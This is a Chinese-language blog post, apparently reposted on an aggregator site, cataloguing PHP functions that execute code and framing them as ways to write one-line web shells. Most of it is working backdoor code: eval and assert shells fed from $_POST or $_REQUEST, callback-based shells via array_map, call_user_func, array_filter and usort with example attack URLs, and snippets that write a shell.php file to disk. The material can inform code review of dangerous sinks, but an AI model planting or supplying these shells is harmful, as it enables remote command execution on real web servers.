微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

PHP中可执行代码小结

PHP中可执行代码小结

PHP中可以执行代码函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。

  常见代码执行函数,如  

    eval()、assert()、preg_replace()、create_function()

    array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

    文件操作函数、动态函数($a($b))

eval() 

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?PHP eval($_POST[cmd])?>

PHPinfo()

      PHPinfo函数可以显示PHP 所有相关信息。是排查配置PHP是是否出错或漏配置模块的主要方式之一!代码如下 :

<?PHP
 PHPinfo();
?>

       只要访问到PHPinfo()函数的web页面,即返回PHP的所有相关信息!

exec()

system()

shell_exec()

echo shell_exec

passthru()

assert()

   与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码

<?PHP 
//?cmd=PHPinfo()
assert($_REQUEST[cmd]); 
?>

preg_replace()

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码

<?PHP 
//?cmd=PHPinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

create_function()

  create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

<?PHP 
//?cmd=PHPinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

参考链接

代码安全:PHP create_function()注入命令执行漏洞

http://www.cnseay.com/1901/

http://lovexm.blog.51cto.com/3567383/1743442

http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

array_map()

  array_map() 函数用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

 代码示例:

<?PHP
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

call_user_func()/call_user_func_array ()

  call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

  call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

<?PHP 
//?cmd=PHPinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?PHP 
//?cmd=PHPinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

array_filter()

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?PHP 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

usort()、uasort()

  usort() 通过用户自定义比较函数对数组进行排序。

  uasort() 使用用户自定义比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

PHP环境>=5.6才能用
<?PHP usort(...$_GET);?>
利用方式:
test.PHP?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=PHPinfo();

PHP环境>=<5.6才能用
<?PHP usort($_GET,'asse'.'rt');?>
利用方式:
test.PHP?1=1+1&2=eval($_POST[x])
[POST]:x=PHPinfo();

源自:https://www.wd0g.com/?p=190

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

文件操作函数

  file_put_contents() 函数一个字符串写入文件中。

  fputs() 函数写入文件

代码示例:

<?PHP 
$test='<?PHP eval($_POST[cmd]);?>';
file_put_contents('test1.PHP',$test);
?>
<?PHP 
fputs(fopen('shell.PHP','w'),'<?PHP eval($_POST[cmd])?>'); 
?>

动态函数

  PHP函数直接由字符串拼接

代码示例:

<?PHP 
//?a=assert&b=PHPinfo()
$_GET['a']($_GET['b']);
?>

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐